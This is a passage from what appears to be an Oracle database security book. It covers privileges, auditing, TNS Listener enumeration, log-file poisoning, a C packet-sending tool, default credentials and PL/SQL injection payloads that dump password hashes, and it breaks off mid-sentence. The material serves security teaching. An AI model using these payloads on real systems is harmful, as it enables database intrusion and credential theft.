0d 00 00 00 0d 41 55 54 48 5f 50 41 53 53 57 4f  (     AUTH_PASSWO)
52 44 20 00 00 00 20 36 37 41 41 42 30 37 46 38  (RD     67AAB07F8)
45 32 41 32 46 33 42 45 44 41 45 43 32 33 31 42  (E2A2F3BEDAEC231B)
36 42 32 41 30 35 30 00 00 00 00 0d 00 00 00 0d  (6B2A050         )

Once authenticated to the database server, a user’s actions are controlled using authorization. In Oracle, authorization is dictated by system and object privileges.

Authorization

System privileges define what a user can do to the database, whereas object privileges define what a user can do to database objects such as tables and procedures. For example, there’s a system privilege that, if granted, allows a user to create procedures and once created, object privileges can be granted that allow another user to execute it. There are 173 system privileges in Oracle 10g—these can be listed with the following query:

SQL> select distinct name from sys.system_privilege_map;

As far as object privileges go there are far fewer defined—23:

SQL> select distinct name from sys.table_privilege_map;

Key System Privileges

There are a few system privileges, which if granted, can be abused to gain complete control of the database server. Let’s look at a few.

EXECUTE ANY PROCEDURE

This gives the grantee the ability to run any procedure on the server. We’ll talk more about procedures later on but suffice to say this is one of the most powerful system privileges. If granted, the user can become a DBA in the blink of an eye.

SELECT ANY DICTIONARY

Any data in the database that is integral to the operation of the database are stored in a bunch of tables collectively known as the Oracle Data Dictionary. These tables are stored in the SYS schema. If users have the SELECT ANY DICTIONARY privilege it means that they can select from any of these tables. For example they could select password hashes from the SYS.USER$ table. The DBSNMP account is a good case study for this—it’s not a DBA but it does have this system privilege. It’s an easy task for DBSNMP to get DBA privileges due to this.

GRANT ANY PRIVILEGE / ROLE / OBJECT PRIVILEGE

Any of these, if granted, can allow a user to gain control of the system. They do as their names imply.

CREATE LIBRARY

If users have the CREATE LIBRARY, or any of the other library privileges, then they have the ability to run arbitrary code through external procedures.

Oracle Auditing

This section discusses Oracle auditing—auditing in the sense of tracking what users are doing and when. Unless you check whether auditing is on or not, you’re never going to know whether “big brother” is watching—if you’re attacking the system at least. If you’re defending a system, then auditing should be on—but not necessarily for everything. For a busy database server if every action is audited, the audit trail can become massive. At a minimum, failed and successful log on attempts should be audited as well as access to the audit trail itself.

Oracle can either log to the file system or to a database table and this is controlled with an entry in the init.ora file. To log audit information to the database, add an entry like

audit_trail = db

To log audit information to the file system, change the “db” to “os”. If audit_trail is set to “none,” then no auditing is performed. If logging occurs in the database, then events are written to the SYS.AUD$ table in the data dictionary. This table stands out from others in the dictionary because rows can be deleted from it. This has significance to the validity or accuracy of the log if access to the SYS.AUD$ is not restricted, and audited.

Once auditing is enabled you need to configure what actions, events, and so on should be audited. For a full list of what can be logged refer to the Oracle documentation, but here I’ll show how to turn on auditing for failed and successful log in attempts and how to protect the AUD$ table itself.

Log on to the system with DBA privileges, or at least an account that has either the AUDIT ANY or AUDIT SYSTEM privilege and issue the following statement:

AUDIT INSERT, UPDATE, DELETE ON SYS.AUD$ BY ACCESS;

This protects access to the audit trail so if someone attempts to manipulate it, the access itself will be logged. Once done, then issue

    AUDIT CREATE SESSION;

This will turn on logging for log on attempts.

When attacking a system it is often useful to know what actions and so on are being audited because this will usually point you toward the “valuable” information. For example, all access to the HR.WAGES table might be audited. To see a list of what tables are audited, run the following query:

SELECT O.NAME FROM SYS.OBJ$ O, SYS.TAB$ T 
WHERE T.AUDIT$ LIKE '%A%' 
AND O.OBJ#=T.OBJ#

What’s happening here? Well, the SYS.TAB$ table contains a column called AUDIT$. This column is a varchar(38) with each varchar being a dash or an A:

    ------AA----AA------AA----------

Depending upon where an A or a dash occurs defines what action is audited, whether it be a SELECT, UPDATE, INSERT, and so on.

If execute is audited for a procedure, this can be checked by running

SELECT O.NAME FROM SYS.OBJ$ O, SYS.PROCEDURE$ P 
WHERE P.AUDIT$ LIKE '%S%' 
AND O.OBJ# = P.OBJ#

Chapter 3: Attacking Oracle

Scanning for Oracle Servers

Finding an Oracle database server on the network is best achieved by doing a TCP port scan, unless of course you already know where it is. Oracle and its peripheral processes listen on so many different ports, chances are that one of them will be on the default port even if most of them aren’t. The following list details some common Oracle processes and what ports they can be found listening on.

Common Ports

The common ports are

199 agntsvc

1520-1530 tnslsnr

1748 dbsnmp

1754 dbsnmp

1809 dbsnmp

1808 dbsnmp

1810 java—oracle enterprise manager web service

1830 emagent

1831 emagent

1850 java ORMI

2030 omtsreco

2100 tnslsnr

2481 tnslsnr

2482 tnslsnr

3025 ocssd

3026 ocssd

4696 ocssd

6003 opmn

6004 opmn

6200 opmn

6201 opmn

7777 Apache – OAS

8080 tnslsnr

9090 tnslsnr

The TNS Listener

Once the Oracle database server has been discovered the first port of call is the TNS Listener. You need to get some information before continuing, such as the version, the OS, and database services. The Listener control utility can be used to get this information. Run the utility from a command line and as the first command set the Listener you want to connect to:

LSNRCTL> set current_listener 10.1.1.1

This will direct all commands to the TNS Listener at IP address 10.1.1.1. Once set, run the version command:

LSNRCTL> version
Connecting to (DESCRIPTION=(CONNECT_DATA=(SID=*)(SERVICE_NAME=10.1.1.1))
(ADDRESS=(PROTOCOL=TCP)(HOST=10.1.1.1)(PORT=1521)))
TNSLSNR for 32-bit Windows: Version 9.2.0.1.0 - Production
        TNS for 32-bit Windows: Version 9.2.0.1.0 - Production
        Oracle Bequeath NT Protocol Adapter for 32-bit Windows: Version 9.2.0.1.0 - Production
        Windows NT Named Pipes NT Protocol Adapter for 32-bit Windows: Version 9.2.0.1.0 - Production
        Windows NT TCP/IP NT Protocol Adapter for 32-bit Windows: Version 9.2.0.1.0 - Production,,
The command completed successfully
LSNRCTL>

Here you can see that the server is running on a Windows-based system and its version is 9.2.0.1.0. Knowing the version number lets you know what bugs the server is going to be vulnerable to—to a certain degree. Some Oracle patches don’t update the version number whereas others do. The version number certainly puts you in the right ball park. The next bit of information you need is the names of any database services running. You get this with the services command.

LSNRCTL> services
Connecting to (DESCRIPTION=(ADDRESS=(PROTOCOL=IPC)(KEY=EXTPROC0)))
Services Summary...
Service "ORAXP" has 1 instance(s).
  Instance "ORAXP", status UNKNOWN, has 1 handler(s) for this service...
    Handler(s):
      "DEDICATED" established:0 refused:0
         LOCAL SERVER
Service "PLSExtProc" has 1 instance(s).
  Instance "PLSExtProc", status UNKNOWN, has 1 handler(s) for this service...
    Handler(s):
      "DEDICATED" established:0 refused:0
         LOCAL SERVER
Service "oraxp.ngssoftware.com" has 1 instance(s).
  Instance "oraxp", status READY, has 1 handler(s) for this service...
    Handler(s):
      "DEDICATED" established:0 refused:0 state:ready
         LOCAL SERVER
Service "oraxpXDB.ngssoftware.com" has 1 instance(s).
  Instance "oraxp", status READY, has 1 handler(s) for this service...
    Handler(s):
      "D000" established:0 refused:0 current:0 max:1002 state:ready
         DISPATCHER <machine: GLADIUS, pid: 2784>
         (ADDRESS=(PROTOCOL=tcp)(HOST=GLADIUS)(PORT=3249))
The command completed successfully
LSNRCTL>

Here you can see that there’s a database service with a SID of ORAXP. Note that if a TNS Listener password has been set, you’ll get an error similar to

Connecting to (DESCRIPTION=(CONNECT_DATA=(SID=*)(SERVICE_NAME=10.1.1.1))
(ADDRESS=(PROTOCOL=TCP)(HOST=10.1.1.1)(PORT=1521)))
TNS-01169: The listener has not recognized the password
LSNRCTL>

No problem. Issue the status command instead:

LSNRCTL> status
Connecting to (DESCRIPTION=(CONNECT_DATA=(SID=*)(SERVICE_NAME=10.1.1.1))
(ADDRESS=(PROTOCOL=TCP)(HOST=10.1.1.1)(PORT=1521)))
STATUS of the LISTENER
------------------------
Alias                     LISTENER
Version                   TNSLSNR for 32-bit Windows: Version 9.2.0.1.0 - Production
Start Date                11-OCT-2004 00:47:20
Uptime                    0 days 0 hr. 22 min. 31 sec
Trace Level               off
Security                  ON
SNMP                      OFF
Listener Parameter File   C:\oracle\ora92\network\admin\listener.ora
Listener Log File         C:\oracle\ora92\network\log\listener.log
Listening Endpoints Summary...
  (DESCRIPTION=(ADDRESS=(PROTOCOL=ipc)(PIPENAME=\\.\pipe\EXTPROC0ipc)))
  (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=GLADIUS)(PORT=1521)))
  (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=GLADIUS)(PORT=8080))
(Presentation=HTTP)(Session=RAW))
  (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=GLADIUS)(PORT=2100))
(Presentation=FTP)(Session=RAW))
Services Summary...
Service "ORAXP" has 1 instance(s).
  Instance "ORAXP", status UNKNOWN, has 1 handler(s) for this service...
Service "PLSExtProc" has 1 instance(s).
  Instance "PLSExtProc", status UNKNOWN, has 1 handler(s) for this service...
Service "oraxp.ngssoftware.com" has 1 instance(s).
  Instance "oraxp", status READY, has 1 handler(s) for this service...
Service "oraxpXDB.ngssoftware.com" has 1 instance(s).
  Instance "oraxp", status READY, has 1 handler(s) for this service...
The command completed successfully
LSNRCTL>

From the status command you can see a number of things:

  1. The version.
  2. The operating system.
  3. Tracing is off.
  4. Security is on, that is, a Listener password has been set.
  5. The path to log files.
  6. Listening end points.
  7. Database SIDs, in this case ORAXP.

It’s important to know the database SID because you need this to actually connect to and use the database services. We’ll come back to this later on, however. Before this we’ll examine a couple of ways the server can be compromised through the TNS Listener.

First, the TNS Listener, depending upon the version, may be vulnerable to a number of buffer overflow vulnerabilities that can be exploited without a user ID and password. For example, Oracle 9i is vulnerable to an overflow whereby the client requests a service_name that is overly long. When the Listener builds an error message to log, the service_name value is copied to a stack-based buffer that overflows—overwriting the saved return address on the stack. This allows the attacker to gain control. In fact, the TNS Listener has suffered multiple overflows and format strings in the past. A search on securityfocus.com will give you all the details.

Another interesting attack relates to log file poisoning. This works only if no Listener password has been set. Assuming one hasn’t been set, here’s how the attack would go. Using the following code, fire off

(CONNECT_DATA=(CMD=log_directory)(ARGUMENTS=4)(VALUE=c:\\))

This sets the log directory to C:\.

Then fire off

(CONNECT_DATA=(CMD=log_file)(ARGUMENTS=4)(VALUE=foo.bat))

This sets the log file to foo.bat.

Then fire off

|| dir > foo.txt

This creates a batch file off the root of the C: drive with these contents:

11-OCT-2004 02:27:27 * log_file * 0
11-OCT-2004 02:28:00 * 1153
TNS-01153: Failed to process string: || dir > foo.txt
 NL-00303: syntax error in NV string

Notice the third line: TNS-01153: Failed to process string: || dir > foo.txt.

When this batch file runs each line is treated as a command, but of course they aren’t and they don’t execute. However, because of the double pipe (||)—which tells the Windows Command Interpreter (cmd.exe) to run the second command if the first is unsuccessful—in the third line the dir > foo.txt does execute.

By choosing a different file, such as one that will be executed automatically when the system boots or when someone logs on, the command will execute and the system can be compromised.

Note that more recent versions of Oracle append .log to the end of the filename in an attempt to protect against this. Better protection is to set a Listener password and also enable ADMIN_RESTRICTIONS, but more on this later. Oracle running on UNIX-based systems can also be compromised in this fashion. One way of doing this would be to echo “+ +” to the .rhosts file of the Oracle user and then use r*services if they’re running.

This code can be used to send arbitrary packets over TNS:

#include <stdio.h>
#include <windows.h>
#include <winsock.h>
int SendTNSPacket(void);
int StartWinsock(void);
int packet_length(char *);
int PrintResp(unsigned char *p, int l);
struct sockaddr_in c_sa;
struct sockaddr_in s_sa;
struct hostent *he;
SOCKET sock;
unsigned int addr;
char data[32000]="";
int ListenerPort=1521;
char host[260]="";
int prt = 40025;
int PKT_LEN = 0x98;
int two_packets=0;
unsigned char TNSPacket[200]=
"\x00\x3A"            // Packet length
"\x00\x00"            // Checksum
"\x01"                  // Type - connect
"\x00"                  // Flags
"\x00\x00"            // Header checksum
"\x01\x39"            // Version
"\x01\x2C"            // Compat version
"\x00\x00"            // Global service options
"\x08\x00"            // PDU
"\x7F\xFF"            // TDU
"\x86\x0E"            // Protocol Characteristics
"\x00\x00"            // 
"\x01\x00"            // Byte order
"\x00\x85"            // Datalength
"\x00\x3A"            // Offset
"\x00\x00\x07\xF8"      // Max recv
"\x0C\x0C"            // ANO
"\x00\x00"
"\x00\x00\x00\x00"
"\x00\x00\x00\x00"
"\x0A\x4C\x00\x00"
"\x00\x03\x00\x00"
"\x00\x00\x00\x00"
"\x00\x00";
unsigned char TNSPacket2[200]=
"\x00\x00"      // Packet Length
"\x00\x00"      // Checksum
"\x06"            // Type - data
"\x00"            // Flags
"\x00\x00"      // Header Checksum
"\x00\x00";

int main(int argc, char *argv[])
{
      unsigned int ErrorLevel=0,len=0,c =0;
      int count = 0;
      if(argc < 3)
            return printf("%s host string\n",argv[0]);
      strncpy(host,argv[1],256);
      strncpy(data,argv[2],31996);
      if(argc == 4)
            ListenerPort = atoi(argv[3]);

      if(StartWinsock()==0)
      {
            printf("Error starting Winsock.\n");
            return 0;
      }

      PKT_LEN = packet_length(data);
      SendTNSPacket();
      return 0;
}            

int packet_length(char *datain)
{
      int dl=0;
      int hl=0x3A;
      int tl=0;
      int e = 0;
      int f =0;
      dl = strlen(datain);
      printf("dl = %d and total = %d\n",dl,dl+hl);

      if(dl == 255 || dl > 255)
      {
            e = dl % 256;
            e = dl - e;
            e = e / 256;
            TNSPacket[24]=e;
            f = dl % 256;
            TNSPacket[25]=f;
            dl = dl + 10;
            e = dl % 256;
            e = dl - e;
            e = e / 256;
            TNSPacket2[0]=e;
            f = dl % 256;
            TNSPacket2[1]=f;
            two_packets = 1;
      }
      else
      {
            TNSPacket[25]=dl;
            TNSPacket[1]=dl+0x3A;
      }

      return dl+hl;
}

int StartWinsock()
{
      int err=0;
      WORD wVersionRequested;
      WSADATA wsaData;
      wVersionRequested = MAKEWORD( 2, 0 );
      err = WSAStartup( wVersionRequested, &wsaData );
      if ( err != 0 )
            return 0;

      if ( LOBYTE( wsaData.wVersion ) != 2 || HIBYTE( wsaData.wVersion ) != 0 )
        {
            WSACleanup( );
            return 0;
      }
      if (isalpha(host[0]))
            he = gethostbyname(host);
      else
      {
            addr = inet_addr(host);
            he = gethostbyaddr((char *)&addr,4,AF_INET);
      }
      if (he == NULL)
            return 0;
      s_sa.sin_addr.s_addr=INADDR_ANY;
      s_sa.sin_family=AF_INET;
      memcpy(&s_sa.sin_addr,he->h_addr,he->h_length);
      return 1;
}

int SendTNSPacket(void)
{
      SOCKET c_sock;
      unsigned char resp[10000]="";
      int snd=0,rcv=0,count=0, var=0;
      unsigned int ttlbytes=0;
      unsigned int to=2000;
      struct sockaddr_in        srv_addr,cli_addr;
      LPSERVENT            srv_info;
      LPHOSTENT            host_info;
      SOCKET            cli_sock;

      cli_sock=socket(AF_INET,SOCK_STREAM,0);
      if (cli_sock==INVALID_SOCKET)
            return printf(" sock error");

      cli_addr.sin_family=AF_INET;
      cli_addr.sin_addr.s_addr=INADDR_ANY;        
      cli_addr.sin_port=htons((unsigned short)prt);
      if (bind(cli_sock,(LPSOCKADDR)&cli_addr,sizeof(cli_addr))==SOCKET_ERROR)
      {
            closesocket(cli_sock);
                return printf("bind error");
          }
      s_sa.sin_port=htons((unsigned short)ListenerPort);
      if (connect(cli_sock,(LPSOCKADDR)&s_sa,sizeof(s_sa))==SOCKET_ERROR)
      {
            printf("Connect error %d",GetLastError());
            return closesocket(cli_sock);
      }
      snd=send(cli_sock, TNSPacket , 0x3A , 0);
      if(two_packets == 1)
            snd=send(cli_sock, TNSPacket2 , 10 , 0);
          snd=send(cli_sock, data , strlen(data) , 0);
      rcv = recv(cli_sock,resp,9996,0);
      if(rcv != SOCKET_ERROR)
            PrintResp(resp,rcv);

      closesocket(cli_sock);
      return 0;
}
int PrintResp(unsigned char *p, int l)
{
      int c = 0;
      int d = 0;
      while(c < l)
      {
            printf("%.2X ",p[c]);
            c ++;
            if(c % 16 == 0)
            {
                  d = c - 16;
                  printf("\t");
                  while(d < c)
                  {      
                        if(p[d] == 0x0A || p[d] == 0x0D)
                              printf(" ");
                        else
                              printf("%c",p[d]);
                        d++;
                  }
                  printf("\n");
                  d = 0;
            }
      }
      d = c - 16;
      printf("\t");
      while(d < c)
      {      
            if(p[d] == 0x0A || p[d] == 0x0D)
                  printf(" ");
            else
                  printf("%c",p[d]);
            d++;
      }
      printf("\n");
      d = 0;

      return 0;
}

Other methods for compromising the TNS Listener are discussed later but, for the moment, let’s turn our attention to the RDBMS itself. One key bit of information we require is the name of a database service identifier—the SID—which we obtained from the TNS Listener earlier. Even if we want to exploit the overly long username buffer overflow in Oracle 9iR2 and earlier we will still need this database SID. The overflow I’ve just mentioned is one of several ways Oracle can be compromised without a user ID and password, discovered by Mark Litchfield. Assuming you’re not going to be exploiting an overflow to get into the system, you’re left with guessing a user ID and password. There are so many default accounts in various components of Oracle with default passwords that this is probably the most effective way of attacking an Oracle server. We include a full list of over 600 in Appendix C. The key ones to go for are as follows:

Username Password
SYS CHANGE_ON_INSTALL
SYSTEM MANAGER
DBSNMP DBSNMP
CTXSYS CTXSYS
MDSYS MDSYS
ORACLE INTERNAL

To connect to the remote system using sqlplus you’ll need to edit your tnsnames.ora file. You can find this in the ORACLE_HOME/network/admin directory. Assuming the database server has an IP address of 10.1.1.1, a database SID of ORAXP, and listening on TCP port 1521, you should add an entry as follows:

REMOTE =
   (DESCRIPTION =
    (ADDRESS_LIST =
      (ADDRESS = (PROTOCOL= TCP)(Host= 10.1.1.1)(Port= 1521))
    )
    (CONNECT_DATA =
      (SID = ORAXP))
      (SERVER = DEDICATED)
    )
   )

Once added you can then connect if you have a user ID and password:

C:\oracle\ora92\bin>sqlplus /nolog
SQL*Plus: Release 9.2.0.1.0 - Production on Mon Oct 11 03:09:59 2004
Copyright (c) 1982, 2002, Oracle Corporation.  All rights reserved.
SQL> connect system/manager@remote
Connected.
SQL>

Once connected to the database server you’ll probably want to elevate privileges if you have only an account like SCOTT. The best way to do this is through exploiting vulnerabilities in PL/SQL.

Oracle’s PL/SQL

PL/SQL is the language used for creating stored procedures, functions, triggers, and objects in Oracle. It stands for Procedural Language/SQL and is based on the ADA programming language. PL/SQL is so integral to Oracle I’d recommend getting a book on it and reading it, but in the meantime here’s a quick one-minute lesson. Here’s the code for the ubiquitous “Hello, world!”:

CREATE OR REPLACE PROCEDURE HELLO_WORLD AS
BEGIN
      DBMS_OUTPUT.PUT_LINE('Hello, World!');
END;

If you run this procedure with

EXEC HELLO_WORLD

and you don’t get any output, run

SET SERVEROUTPUT ON

Essentially, this procedure calls the PUT_LINE procedure defined in the DBMS_OUTPUT package. A PL/SQL package is a collection of procedures and functions (usually) related to the same thing. For example, we might create a bunch of procedures and functions for modifying HR data in a database that allows us to add or drop employees, bump up wages, and so on. We could have a procedure ADD_EMPLOYEE, DROP_EMPLOYEE, and BUMP_UP_WAGE. Rather than have these procedures just free-floating, we could create a package that exports these procedures and call the package HR. When executing the ADD_EMPLOYEE procedure we’d do

EXEC HR.ADD_EMPLOYEE('David');

If this package was defined by SCOTT and PUBLIC had execute permissions to execute the HR package, they could do so by calling

EXEC SCOTT.HR.ADD_EMPLOYEE('Sophie');

So, what’s the difference between a PL/SQL procedure and a function? Well, a function returns a value whereas a procedure does not. Here’s how to create a simple function:

CREATE OR REPLACE FUNCTION GET_DATE RETURN VARCHAR2
IS
BEGIN
RETURN SYSDATE;
END;

This function simply returns SYSDATE and can be executed with the following:

SELECT GET_DATE FROM DUAL;

Needless to say, PL/SQL can be used to create procedures that contain SQL queries and further, if PL/SQL can’t do something, it’s possible to extend PL/SQL with external procedures—more on this later.

Okay, lesson over; let’s get down to PL/SQL and security. When a PL/SQL procedure executes it does so with the permissions of the user that defined the procedure. What this means is that if SYS creates a procedure and SCOTT executes it, the procedure executes with SYS privileges. This is known as executing with definer rights. It is possible to change this behavior. If you want the procedure to execute with the permissions of the user that’s running the procedure, you can do this by creating the procedure and using the AUTHID CURRENT_USER keyword. For example:

CREATE OR REPLACE PROCEDURE HELLO_WORLD AUTHID CURRENT_USER AS
BEGIN
      DBMS_OUTPUT.PUT_LINE('Hello, World!');
END;

When this executes it will do so with the permissions of the user and not definer. This is known as executing with invoker rights. The former is useful for situations where you want some of your users to be able to INSERT into a table but you don’t actually want to give them direct access to the table itself. You can achieve this by creating a procedure that they can execute that’ll insert data into the table and use definer rights. Of course, if the procedure is vulnerable to PL/SQL injection, then this can lead to low-privileged users gaining elevated privileges—they’ll be able to inject SQL that executes with your privileges. We’ll discuss this in depth shortly in the section “PL/SQL Injection.

Another important aspect of PL/SQL is that it’s possible to encrypt any procedures or functions you create. This is supposed to stop people from examining what the procedure actually does. In Oracle lingo this encrypting is known as wrapping. First, you have to remember that it’s encryption—it can be decrypted and the clear text can be retrieved. Indeed, set a breakpoint in a debugging session at the right address and you can get at the text quite easily. Even if you don’t do this you can still work out what’s going on in a procedure even though it’s encrypted. You see there’s a table called ARGUMENT$ in the SYS schema that contains a list of what procedures and functions are available in what package and what parameters they take. Here’s the description of the table:

SQL> desc sys.argument$
 Name                                      Null?    Type
 ----------------------------------------- -------- ------------------
 OBJ#                                      NOT NULL NUMBER
 PROCEDURE$                                         VARCHAR2(30)
 OVERLOAD#                                 NOT NULL NUMBER
 PROCEDURE#                                         NUMBER
 POSITION#                                 NOT NULL NUMBER
 SEQUENCE#                                 NOT NULL NUMBER
 LEVEL#                                    NOT NULL NUMBER
 ARGUMENT                                           VARCHAR2(30)
 TYPE#                                     NOT NULL NUMBER
 CHARSETID                                          NUMBER
 CHARSETFORM                                        NUMBER
 DEFAULT#                                           NUMBER
 IN_OUT                                             NUMBER
 PROPERTIES                                         NUMBER
 LENGTH                                             NUMBER
 PRECISION#                                         NUMBER
 SCALE                                              NUMBER
 RADIX                                              NUMBER
 DEFLENGTH                                          NUMBER
 DEFAULT$                                           LONG
 TYPE_OWNER                                         VARCHAR2(30)
 TYPE_NAME                                          VARCHAR2(30)
 TYPE_SUBNAME                                       VARCHAR2(30)
 TYPE_LINKNAME                                      VARCHAR2(128)
 PLS_TYPE                                           VARCHAR2(30)

There’s a package called DBMS_DESCRIBE that can also be used to “look into” such things. The text of DBMS_DESCRIBE is wrapped, so let’s use this as an example of how to use the ARGUMENT$ table to research a package.

First you need the object ID of the DBMS_DESCRIBE package—this is from Oracle 9.2, incidentally:

SQL> select object_id,object_type from all_objects where object_name = 'DBMS_DESCRIBE';
OBJECT_ID OBJECT_TYPE
---------- ------------------
      3354 PACKAGE
      3444 PACKAGE BODY
      3355 SYNONYM

You can see the object ID is 3354.

Now you take this and list the procedures and functions on DBMS_DESCRIBE:

SQL> select distinct procedure$ from sys.argument$ where obj#=3354
PROCEDURE$
--------------------------
DESCRIBE_PROCEDURE

Turns out there’s only one procedure in the package and it’s called DESCRIBE_PROCEDURE. (Note that while the package specification may only contain one procedure the package body, that is, the code behind the package, may have many private procedures and functions. Only the public procedures and functions can be called.)

To get the list of arguments for the DESCRIBE_PROCEDURE procedure you execute

SQL> select distinct position#,argument,pls_type from sys.argument$ where obj#=3354
and procedure$='DESCRIBE_PROCEDURE';
POSITION# ARGUMENT                       PLS_TYPE
---------- ------------------------------ ------------------------------
         1 OBJECT_NAME                    VARCHAR2
         1                                                 NUMBER
         1                                               VARCHAR2
         2 RESERVED1                      VARCHAR2
         3 RESERVED2                      VARCHAR2
         4 OVERLOAD
         5 POSITION
         6 LEVEL
         7 ARGUMENT_NAME
         8 DATATYPE
         9 DEFAULT_VALUE
        10 IN_OUT
        11 LENGTH
        12 PRECISION
        13 SCALE
        14 RADIX
        15 SPARE

If the PLS_TYPE is not listed it’s not your standard PL/SQL data type. In this case arguments 4 to 15 are of type NUMBER_TABLE.

You can see how quickly you can begin to derive useful information about wrapped packages even though the source isn’t available.

Incidentally there’s a buffer overflow in the wrapping process on the server that both Oracle 9i and 10g are vulnerable to. A patch is now available but the buffer overflow can be triggered by creating a wrapped procedure with an overly long constant in it. This can be exploited to gain full control of the server.

So before we continue, here are the key points to remember. First, by default, procedures execute with definer rights—that is, they execute with the privileges of the user that defined or created the procedure. While this can be useful for applications, it does open a security hole if the procedure has been coded poorly and is vulnerable to PL/SQL Injection.

PL/SQL Injection

In this section we discuss PL/SQL Injection, an important attack technique relating to stored procedures in Oracle. Using PL/SQL Injection, attackers can potentially elevate their level of privilege from a low-level PUBLIC account to an account with DBA-level privileges. The technique relates to almost all versions of Oracle, and can be used to attack custom stored procedures as well as those supplied with Oracle itself.

Injecting into SELECT Statements

This section examines how to inject into SELECT statements.

A Simple Example

Consider the code of this procedure and assume it is owned by SYS and can be executed by PUBLIC:

CREATE OR REPLACE PROCEDURE LIST_LIBRARIES(P_OWNER VARCHAR2) AS
TYPE C_TYPE IS REF CURSOR;
CV C_TYPE;
BUFFER VARCHAR2(200);
BEGIN
      DBMS_OUTPUT.ENABLE(1000000);
      OPEN CV FOR 'SELECT OBJECT_NAME FROM ALL_OBJECTS WHERE OWNER = ''' 
|| P_OWNER || ''' AND OBJECT_TYPE=''LIBRARY''';
      LOOP
            FETCH CV INTO buffer;
            DBMS_OUTPUT.PUT_LINE(BUFFER);
            EXIT WHEN CV%NOTFOUND;
      END LOOP;
      CLOSE CV;
END;
/

This procedure lists all libraries owned by a given user—the user being supplied by the person executing the procedure. The list of libraries is then echoed to the terminal using DBMS_OUTPUT.PUT_LINE. The procedure would be executed as follows:

SET SERVEROUTPUT ON
EXEC SYS.LIST_LIBRARIES('SYS');

This procedure is vulnerable to SQL injection. The user executing the procedure can enter a single quote to “break out” from the original code-defined query and insert his own additional query. Because Oracle doesn’t batch queries like Microsoft SQL Server does, it has traditionally been believed that attackers are capable of performing only UNION SELECT queries in such situations. You’ll see that this is not the case shortly. Before that, however, let’s look at how a UNION SELECT can be injected to return the password hashes for each user stored in the SYS.USER$ table.

SET SERVEROUTPUT ON
EXEC SYS.LIST_LIBRARIES('FOO'' UNION SELECT PASSWORD FROM SYS.USER$--');

On running this query, rather than the original code-defined query of

SELECT OBJECT_NAME FROM ALL_OBJECTS WHERE OWNER =  'FOO' AND OBJECT_TYPE='LIBRARY'

executing, the following executes instead:

SELECT OBJECT_NAME FROM ALL_OBJECTS WHERE OWNER =  'FOO' UNION SELECT 
PASSWORD FROM SYS.USER$ --' AND OBJECT_TYPE='LIBRARY'

The double minus sign at the end denotes a comment in Oracle queries and effectively chops off the ‘ AND OBJECT_TYPE=’LIBRARY’. When the query runs, the list of password hashes is output to the terminal. If we want to get both the password hash and the username out we try

EXEC SYS.LIST_LIBRARIES('FOO'' UNION SELECT NAME,PASSWORD FROM SYS.USER$--');

But this returns an error:

ORA-01789: query block has incorrect number of result columns
ORA-06512: at "SYS.LIST_LIBRARIES", line 6

We could get out the usernames on their own, just as we have done with the password hashes, but there’s no guarantee that the two will match up. (The password hash is directly related to the username in Oracle and so when cracking Oracle passwords it’s important to have the right username go with the right hash.) How then do you get the two out together? For this you need to create your own function and, as you’ll see, this resolves the problem of Oracle not batching queries.

Injecting Attacker-Defined Functions to Overcome Barriers

So, we have a procedure, LIST_LIBRARIES, that we can inject into and return data from a single column. (If you didn’t read the text of the preceding “A Simple Example” section, I’d recommend doing so, so we’re all on the same page.) We want, however, to return the data from two or more rows but using a UNION SELECT we can’t do that all together. To do this we’re going to create our own function that performs the work and inject this into the procedure. Assuming we want to grab the USER# (a number), the NAME (a varchar2), and the password (a varchar2) from SYS.USER$, we could create the following function:

CREATE OR REPLACE FUNCTION GET_USERS RETURN VARCHAR2 AUTHID CURRENT_USER AS
TYPE C_TYPE IS REF CURSOR;
CV C_TYPE;
U VARCHAR2(200);
P VARCHAR2(200);
N NUMBER;
BEGIN
DBMS_OUTPUT.ENABLE(1000000);
      OPEN CV FOR 'SELECT USER#,NAME,PASSWORD FROM SYS.USER$';
      LOOP
            FETCH CV INTO N,U,P;
            DBMS_OUTPUT.PUT_LINE('USER#: ' || N  || ' NAME ' || U || ' PWD ' || P);
            EXIT WHEN CV%NOTFOUND;
      END LOOP;
      CLOSE CV;
      RETURN 'FOO';
END;

Once created we can then inject this into LIST_LIBRARIES:

EXEC SYS.LIST_LIBRARIES('FOO'' || SCOTT.GET_USERS--');

giving us the output

USER#: 0 NAME SYS PWD 2696A092833AFD9A
USER#: 1 NAME PUBLIC PWD
USER#: 2 NAME CONNECT PWD
USER#: 3 NAME RESOURCE PWD
USER#: 4 NAME DBA PWD
USER#: 5 NAME SYSTEM PWD EED9B65CCECDB2EA
..
..

Using this method of injecting a function also helps in those procedures where the results of a query are not output. Note that when we created our function we used the AUTHID CURRENT_USER keyword. The reason for this is because if we didn’t, then the function, as it’s been defined by us, will run with our privileges—essentially losing all those juicy powerful DBA privs. By setting the AUTHID CURREN_USER keyword, when LIST_LIBRARIES executes our function, our function assumes or inherits the privileges of SYS.

Consider the following function owned and defined by SYS. This is not a function that actually exists in the RDBMS but assume that SYS has created it.

CREATE OR REPLACE FUNCTION SELECT_COUNT(P_OWNER VARCHAR2) RETURN NUMBER IS
CNT NUMBER;
STMT VARCHAR2(200);
BEGIN
STMT:='SELECT COUNT(*) FROM ALL_OBJECTS WHERE OWNER=''' || P_OWNER || '''';
EXECUTE IMMEDIATE STMT INTO CNT;
RETURN CNT;
END;
/

This function returns the number of rows a user owns in ALL_OBJECTS. For example, we could run

SELECT SYS.SELECT_COUNT('SYS') FROM DUAL;

to have the number of objects listed in ALL_OBJECTS and owned by the SYS user. This function, when executed, will run with the privileges of SYS. Although it’s vulnerable to SQL injection, a number of problems need to be worked around before anything useful can be done with it. First, the function returns a number, so this means that we can’t do a union select on string data:

SELECT SYS.SELECT_COUNT('SYS'' UNION SELECT PASSWORD FROM SYS.USER$ WHERE NAME=''SYS''--') FROM DUAL;

This returns

ORA-01790: expression must have same datatype as corresponding expression.

We can’t even do a union select on numeric data. Running

SELECT SYS.SELECT_COUNT('SYS'' UNION SELECT USER# FROM SYS.USER$ WHERE NAME=''SYS''--') FROM DUAL;

returns

ORA-01422: exact fetch returns more than requested number of rows.

The second problem that needs to be overcome is that nothing is echoed back to the terminal, so even if we could do a decent union select or subselect how would we get the data back out? Running a subselect, for example

SELECT SYS.SELECT_COUNT('SYS'' AND OBJECT_NAME = (SELECT PASSWORD FROM 
